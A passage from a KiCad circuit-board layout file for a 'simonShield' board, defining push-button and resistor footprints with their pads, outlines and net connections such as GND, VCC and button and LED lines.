(pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 15 /buttons/BTN_LED_2))\n    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744C9)\n    (at 105.003 71.034 90)\n    (path /5777D5BA/5777DC43)\n    (fp_text reference SW2 (at 0 -0.762 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 14 /buttons/BTN_CFG_1))\n    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 14 /buttons/BTN_CFG_1))\n    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744BD)\n    (at 93.827 71.034 90)\n    (path /5777D5BA/5777DBBB)\n    (fp_text reference SW1 (at 0 -0.762 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 13 /buttons/BTN_LED_1))\n    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 13 /buttons/BTN_LED_1))\n    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module Resistors_THT:R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal (layer F.Cu) (tedit 59573715) (tstamp 595744A8)\n    (at 109 88.5 90)\n    (descr \"Resistor, Axial_DIN0207 series, Axial, Horizontal, pin pitch=10.16mm, 0.25W = 1/4W, length*diameter=6.3*2.5mm^2, http://cdn-reichelt.de/documents/datenblatt/B400/1_4W%23YAG.pdf\")\n    (tags \"Resistor Axial_DIN0207 series Axial Horizontal pin pitch 10.16mm 0.25W = 1/4W length 6.3mm diameter 2.5mm\")\n    (path /59572DE1)\n    (fp_text reference \"R 0 Ohm\" (at 5.25 3.25 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value R (at 5.08 2.31 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start 1.93 -1.25) (end 1.93 1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 1.93 1.25) (end 8.23 1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 8.23 1.25) (end 8.23 -1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 8.23 -1.25) (end 1.93 -1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 0 0) (end 1.93 0) (layer F.Fab) (width 0.1))\n    (fp_line (start 10.16 0) (end 8.23 0) (layer F.Fab) (width 0.1))\n    (fp_line (start 1.87 -1.31) (end 1.87 1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 1.87 1.31) (end 8.29 1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 8.29 1.31) (end 8.29 -1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 8.29 -1.31) (end 1.87 -1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 0.98 0) (end 1.87 0) (layer F.SilkS) (width 0.12))\n    (fp_line (start 9.18 0) (end 8.29 0) (layer F.SilkS) (width 0.12))\n    (fp_line (start -1.05 -1.6) (end -1.05 1.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.05 1.6) (end 11.25 1.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 11.25 1.6) (end 11.25 -1.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 11.25 -1.6) (end -1.05 -1.6) (layer F.CrtYd) (width 0.05))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)\n      (net 1 GND))\n    (pad 2 thru_hole oval (at 10.16 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)\n      (net 1 GND))\n    (model Resistors_THT.3dshapes/R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 0.393701 0.393701 0.393701))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957367C) (tstamp 5957449B)\n    (at 137.515 98.085 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/57797248)\n    (fp_text reference R18 (at 3.585 -0.015 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 12 \"Net-(Q5-Pad1)\"))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573680) (tstamp 5957448E)\n    (at 133.959 98.085 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/577970B7)\n    (fp_text reference R17 (at 3.585 0.041 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 30 /ciaaConector/LED_4))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 11 \"Net-(Q5-Pad2)\"))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957362E) (tstamp 59574481)\n    (at 80.365 97.958 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/577971BC)\n    (fp_text reference R16 (at 3.958 -0.115 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 22 \"Net-(Q4-Pad1)\"))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573629) (tstamp 59574474)\n    (at 83.921 97.958 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/5779705E)\n    (fp_text reference R15 (at 3.458 -0.171 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 29 /ciaaConector/LED_3))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 21 \"Net-(Q4-Pad2)\"))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573694) (tstamp 59574467)\n    (at 137.515 74.717 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/57797169)\n    (fp_text reference R14 (at 3.967 -0.015 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 10 \"Net-(Q3-Pad1)\"))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573698) (tstamp 5957445A)\n    (at 134.086 74.717 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/57796FE6)\n    (fp_text reference R13 (at 3.967 0.164 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 28 /ciaaConector/LED_2))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 9 \"Net-(Q3-Pad2)\"))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957364F) (tstamp 5957444D)\n    (at 80.365 74.717 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/57780BC7)\n    (fp_text reference R12 (at 3.967 -0.115 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 8 \"Net-(Q2-Pad1)\"))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957364C) (tstamp 59574440)\n    (at 83.921 74.717 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /57780685/57780BCE)\n    (fp_text reference R11 (at 3.967 -0.171 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 27 /ciaaConector/LED_1))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 7 \"Net-(Q2-Pad2)\"))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 595735F8) (tstamp 59574433)\n    (at 123.164 49.063 180)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5797F41B)\n    (fp_text reference R10 (at 3.914 0.063 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 1K (at 3.81 3.81 180) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n    (pad 2 thru_hole circle (at 7.62 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 19 \"Net-(Q1-Pad1)\"))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 595735FE) (tstamp 59574426)\n    (at 123.164 52.111 180)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5797F406)\n    (fp_text reference R9 (at 3.914 0.111 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 180) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 5 \"Net-(Q1-Pad2)\"))\n    (pad 2 thru_hole circle (at 7.62 0 180) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 31 /ciaaConector/PWM))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957363D) (tstamp 59574419)\n    (at 118.465 98.339 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/57796AEC)\n    (fp_text reference R8 (at 3.839 0.035 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 24 /buttons/BTN_CFG_4))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573684) (tstamp 5957440C)\n    (at 129.641 98.085 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/577968BC)\n    (fp_text reference R7 (at 3.835 0.109 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 18 /buttons/BTN_LED_4))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573623) (tstamp 595743FF)\n    (at 88.239 97.958 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/57796A6F)\n    (fp_text reference R6 (at 4.208 0.011 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 17 /buttons/BTN_CFG_3))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573637) (tstamp 595743F2)\n    (at 99.415 98.466 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/57796847)\n    (fp_text reference R5 (at 3.966 0.085 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) 